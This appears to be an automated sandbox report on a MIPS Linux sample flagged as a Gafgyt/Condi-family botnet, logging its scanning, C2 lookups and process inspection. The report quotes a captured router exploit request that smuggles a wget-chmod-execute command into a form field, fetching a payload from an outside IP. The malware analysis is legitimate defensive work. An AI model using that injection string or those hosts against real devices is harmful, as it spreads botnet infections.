Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 186.102.99.8:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 88.167.120.91:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 106.57.36.24:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 88.151.180.197:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 67.45.251.75:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 106.168.217.231:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 209.199.237.153:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 31.215.70.80:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 52.212.161.133:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 19.105.150.249:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 87.67.229.249:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 64.1.103.21:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 139.136.242.174:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 141.40.88.42:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 141.20.162.52:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 152.90.38.248:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 159.220.207.33:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 150.29.79.31:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 188.42.5.53:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 107.119.140.239:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 177.53.251.106:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 70.89.168.37:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 40.88.214.90:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 72.23.181.96:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 120.253.96.57:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 77.53.217.4:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 85.7.126.15:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 188.208.84.169:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 115.204.222.118:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 161.248.180.110:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 154.180.112.144:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 180.133.139.86:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 141.188.207.39:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 208.215.116.164:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 123.58.70.203:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 140.56.29.27:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 150.84.232.154:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 96.239.54.165:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 162.239.89.43:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 46.248.216.93:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 210.119.1.185:8080
Source: global traffic	TCP traffic: 192.168.2.15:42600 -> 103.67.197.87:19990
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 201.165.69.168:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 87.51.30.195:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 193.16.224.74:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 44.85.16.27:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 153.147.218.195:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 86.192.45.86:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 61.146.106.50:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 177.6.44.69:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 88.204.23.220:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 57.239.189.125:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 23.255.198.201:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 142.67.48.58:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 184.247.77.255:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 147.22.228.95:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 150.20.26.236:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 101.14.248.190:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 190.54.30.253:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 151.81.202.2:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 191.69.37.204:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 196.0.230.179:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 142.243.219.82:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 191.145.63.110:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 77.60.65.206:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 71.196.29.29:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 85.125.167.17:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 148.8.248.128:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 143.29.151.38:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 19.129.65.1:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 8.114.32.169:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 81.139.124.125:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 213.9.29.231:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 134.166.123.67:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 88.28.125.59:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 143.29.45.172:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 24.204.62.198:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 62.203.69.59:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 162.61.109.22:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 179.90.104.101:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 140.58.59.219:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 116.177.7.77:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 168.247.102.140:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 75.250.253.204:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 181.173.245.53:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 200.249.45.162:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 149.53.120.155:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 44.30.190.136:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 201.21.43.131:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 71.82.78.123:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 193.93.168.208:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 189.110.63.59:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 102.15.88.144:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 189.237.211.127:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 221.224.93.188:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 107.197.59.23:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 124.10.116.61:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 198.197.238.52:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 148.28.5.227:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 78.173.116.211:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 24.102.108.167:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 184.96.34.173:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 165.13.84.65:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 185.158.162.138:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 59.106.145.61:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 107.190.185.34:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 12.142.52.46:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 59.127.153.160:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 62.152.253.27:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 114.83.62.157:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 152.251.37.18:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 75.226.193.130:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 37.149.162.197:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 64.233.8.229:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 25.225.133.61:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 220.128.40.187:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 38.192.118.57:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 132.253.192.193:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 190.212.106.72:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 46.5.124.168:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 203.195.177.158:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 162.16.151.157:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 116.10.38.251:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 117.72.149.206:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 27.218.130.12:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 76.222.171.194:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 51.136.248.218:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 161.122.16.180:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 77.69.72.92:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 64.160.176.148:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 53.99.99.104:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 99.200.183.60:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 84.140.37.12:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 182.115.158.141:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 38.76.121.56:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 38.55.96.142:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 204.72.131.240:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 194.199.236.74:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 123.235.36.104:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 97.216.135.235:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 80.119.159.47:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 44.249.179.40:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 140.53.91.3:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 136.159.25.251:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 130.43.97.49:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 204.42.142.86:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 175.5.81.253:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 209.25.104.173:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 151.73.117.137:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 42.35.112.36:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 82.252.5.247:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 73.249.62.62:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 170.81.160.253:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 79.184.235.16:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 131.72.158.4:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 211.232.110.56:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 171.25.171.187:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 23.28.188.113:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 165.138.180.176:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 96.155.254.151:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 103.39.111.76:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 58.58.127.137:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 123.150.194.93:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 223.220.4.170:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 129.110.80.42:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 87.238.245.215:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 2.91.222.124:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 64.44.83.109:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 112.200.174.174:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 202.82.106.16:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 18.26.204.125:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 221.225.182.213:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 125.35.63.200:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 153.172.186.9:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 165.1.243.218:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 108.161.67.44:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 180.91.37.13:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 189.64.146.131:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 149.228.13.232:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 116.28.105.158:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 82.183.37.10:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 129.141.168.27:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 145.92.30.167:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 52.42.63.209:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 64.88.216.251:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 62.229.202.224:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 122.208.158.169:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 117.211.199.185:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 219.43.223.84:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 99.219.129.36:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 51.250.123.49:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 39.77.167.55:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 92.67.148.41:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 34.75.164.26:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 93.176.173.21:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 58.188.3.181:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 194.55.13.185:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 107.16.160.166:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 58.63.127.232:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 107.164.119.11:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 50.87.78.2:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 34.66.125.33:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 40.230.137.109:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 1.244.43.249:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 34.34.95.251:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 191.204.89.181:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 52.10.35.82:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 210.197.141.87:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 17.28.179.54:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 62.23.124.212:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 54.253.202.130:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 181.174.11.52:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 201.91.170.78:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 76.241.189.169:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 58.35.17.35:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 164.107.166.82:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 95.150.74.128:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 51.134.194.11:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 49.187.73.236:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 59.125.191.15:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 86.254.97.97:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 116.87.90.56:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 147.240.79.209:8080
Source: global traffic	TCP traffic: 192.168.2.15:64065 -> 95.156.189.11:8080

Source: unknown

DNS traffic detected: queries for: cnc.condi.cloud

Source: unknown	TCP traffic detected without corresponding DNS query: 39.242.90.154
Source: unknown	TCP traffic detected without corresponding DNS query: 25.233.129.155
Source: unknown	TCP traffic detected without corresponding DNS query: 121.189.163.235
Source: unknown	TCP traffic detected without corresponding DNS query: 132.72.203.154
Source: unknown	TCP traffic detected without corresponding DNS query: 141.43.153.231
Source: unknown	TCP traffic detected without corresponding DNS query: 186.151.240.156
Source: unknown	TCP traffic detected without corresponding DNS query: 216.170.176.155
Source: unknown	TCP traffic detected without corresponding DNS query: 111.166.35.36
Source: unknown	TCP traffic detected without corresponding DNS query: 46.123.57.86
Source: unknown	TCP traffic detected without corresponding DNS query: 160.17.172.19
Source: unknown	TCP traffic detected without corresponding DNS query: 112.54.197.161
Source: unknown	TCP traffic detected without corresponding DNS query: 167.67.178.195
Source: unknown	TCP traffic detected without corresponding DNS query: 155.62.233.74
Source: unknown	TCP traffic detected without corresponding DNS query: 99.57.36.52
Source: unknown	TCP traffic detected without corresponding DNS query: 169.18.59.30
Source: unknown	TCP traffic detected without corresponding DNS query: 81.252.183.22
Source: unknown	TCP traffic detected without corresponding DNS query: 78.218.228.29
Source: unknown	TCP traffic detected without corresponding DNS query: 106.66.18.135
Source: unknown	TCP traffic detected without corresponding DNS query: 43.242.142.66
Source: unknown	TCP traffic detected without corresponding DNS query: 186.27.43.156
Source: unknown	TCP traffic detected without corresponding DNS query: 193.145.18.167
Source: unknown	TCP traffic detected without corresponding DNS query: 125.124.103.40
Source: unknown	TCP traffic detected without corresponding DNS query: 195.149.105.183
Source: unknown	TCP traffic detected without corresponding DNS query: 8.184.144.211
Source: unknown	TCP traffic detected without corresponding DNS query: 192.204.40.214
Source: unknown	TCP traffic detected without corresponding DNS query: 211.162.136.21
Source: unknown	TCP traffic detected without corresponding DNS query: 76.65.56.181
Source: unknown	TCP traffic detected without corresponding DNS query: 187.193.143.40
Source: unknown	TCP traffic detected without corresponding DNS query: 161.124.13.224
Source: unknown	TCP traffic detected without corresponding DNS query: 136.218.20.116
Source: unknown	TCP traffic detected without corresponding DNS query: 187.232.105.17
Source: unknown	TCP traffic detected without corresponding DNS query: 44.121.44.253
Source: unknown	TCP traffic detected without corresponding DNS query: 136.62.172.232
Source: unknown	TCP traffic detected without corresponding DNS query: 2.108.139.71
Source: unknown	TCP traffic detected without corresponding DNS query: 103.5.173.100
Source: unknown	TCP traffic detected without corresponding DNS query: 84.240.60.171
Source: unknown	TCP traffic detected without corresponding DNS query: 93.84.255.65
Source: unknown	TCP traffic detected without corresponding DNS query: 124.228.56.143
Source: unknown	TCP traffic detected without corresponding DNS query: 50.222.248.67
Source: unknown	TCP traffic detected without corresponding DNS query: 91.102.26.116
Source: unknown	TCP traffic detected without corresponding DNS query: 178.31.48.147
Source: unknown	TCP traffic detected without corresponding DNS query: 133.181.59.3
Source: unknown	TCP traffic detected without corresponding DNS query: 124.219.99.226
Source: unknown	TCP traffic detected without corresponding DNS query: 2.194.36.98
Source: unknown	TCP traffic detected without corresponding DNS query: 132.182.62.214
Source: unknown	TCP traffic detected without corresponding DNS query: 165.200.127.242
Source: unknown	TCP traffic detected without corresponding DNS query: 133.82.26.131
Source: unknown	TCP traffic detected without corresponding DNS query: 49.13.218.49
Source: unknown	TCP traffic detected without corresponding DNS query: 143.202.227.52
Source: unknown	TCP traffic detected without corresponding DNS query: 218.75.12.159

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Chunjs/ServerConnection: closeContent-Type: text/htmlContent-Length: 116Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 32 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 72 65 64 22 3e 2f 75 73 72 2f 73 62 69 6e 2f 77 65 62 2f 77 77 77 2f 67 6f 66 6f 72 6d 2f 73 65 74 5f 4c 69 6d 69 74 43 6c 69 65 6e 74 5f 63 66 67 3c 2f 66 6f 6e 74 3e 20 6e 6f 74 20 66 6f 75 6e 64 20 21 3c 2f 68 32 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h2><font color="red">/usr/sbin/web/www/goform/set_LimitClient_cfg</font> not found !</h2></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 0X-NWS-LOG-UUID: 11993382897181852448Connection: closeServer: stsoc_lego2Date: Fri, 06 Oct 2023 08:10:41 GMTX-Cache-Lookup: Return Directly
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 0X-NWS-LOG-UUID: 6770244136530975693Connection: closeServer: lego_stby_5Date: Fri, 06 Oct 2023 08:10:58 GMTX-Cache-Lookup: Return Directly
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 0X-NWS-LOG-UUID: 7348448823048580820Connection: closeServer: lego_stby_5Date: Fri, 06 Oct 2023 08:10:58 GMTX-Cache-Lookup: Return Directly

Source: mips.elf

String found in binary or memory: http://103.67.197.87/mpsl;

Source: unknown

HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;

Source: mips.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5519.1.00007fc994400000.00007fc994428000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: mips.elf PID: 5519, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: busybox wget
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: busyboxxx
Source: Initial sample	String containing 'busybox' found: busyboxx
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKconcakhbtandhuy.armconcakhbtandhuy.arm5concakhbtandhuy.arm6concakhbtandhuy.arm7concakhbtandhuy.mipsconcakhbtandhuy.mpslconcakhbtandhuy.x86_64concakhbtandhuy.sh4/proc/proc/%d/cmdlinenetstatcurlechobin/busyboxbusybox wget/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/tmp/boot/proc/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystemcundicundi.*var/Condibin/Condibin/babylonetop1hbt/root/dvr_gui//root/dvr_app//anko-app/902i13BzSxLxBxeYHOHO-LUGO7HOHO-U79OLJuYfouyf87NiGGeR69xdSO190Ij1XLOLKIKEEEDDEekjheory98escansh4MDMAfdevalvexscanspcMELTEDNINJAREALZflexsonskidsscanx86MISAKI-U79OLfoAxi102kxeswodjwodjwojMmKiy7f87lfreecookiex86sysgpufrgegesysupdater0DnAzep

Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/3877/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/mips.elf (PID: 5523)	File opened: /proc/1591/cmdline	Jump to behavior
